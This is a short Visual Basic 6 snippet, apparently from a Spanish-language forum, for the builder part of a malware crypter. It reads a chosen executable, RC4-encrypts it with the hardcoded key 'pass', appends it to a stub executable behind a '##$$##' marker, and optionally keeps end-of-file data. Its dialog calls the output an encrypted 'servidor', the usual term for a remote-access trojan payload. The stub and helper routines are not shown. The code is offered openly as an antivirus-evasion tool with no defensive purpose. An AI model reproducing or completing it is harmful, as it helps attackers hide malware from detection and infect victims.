Código: Seleccionar todo
Private Sub cmdBrowse_Click()
ComDlg.ShowOpen
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
txtFile.Text = ComDlg.FileName
If Not ComDlg.FileName = vbNullString Then
txtFile.Text = ComDlg.FileName
MsgBox "Archivo cargado correctamente!"
End If
End Sub
Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String
If Check1.Value = 1 Then
TheEOF = ReadEOFData(textFile.Text)
End If
Open txtFile.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close
Open App.Path & "\stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave
Open ComDlg.FileName For Binary As #1
Put #1, , Stub & "##$$##"
Put #1, , RC4(File, "pass")
Close #1
If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If
MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption
End Sub